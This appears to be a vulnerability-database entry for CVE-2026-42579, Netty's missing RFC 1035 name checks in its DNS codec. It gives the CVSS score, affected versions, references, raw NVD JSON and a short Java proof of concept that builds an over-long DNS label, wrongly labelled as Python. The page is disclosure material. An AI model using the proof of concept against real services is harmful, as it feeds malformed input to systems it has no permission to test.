CVE-2026-42579

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Netty < 4.1.133.Final

Netty < 4.2.13.Final

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-42579: Netty DNS Codec Constraint Bypass
 * This demonstrates creating a hostname that violates RFC 1035 constraints.
 */

import io.netty.handler.codec.dns.DefaultDnsQuestion;
import io.netty.handler.codec.dns.DnsQuestion;

public class NettyDnsPoC {
    public static void main(String[] args) {
        // RFC 1035 violation: Label length exceeds 63 bytes
        String maliciousLabel = "a".repeat(64); 
        String malformedHostname = maliciousLabel + ".example.com";

        // In vulnerable versions, the encoder accepts this without validation
        DnsQuestion question = new DefaultDnsQuestion(malformedHostname, 1);

        System.out.println("Constructed Malformed DNS Question: " + question.name());
        // Output will show the invalid length being processed
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42579
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42579
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42579/
[4] VulDB https://vuldb.com/cve/CVE-2026-42579
[5] https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42579", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:23.353", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-626"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm", "source": "[email protected]"}]}}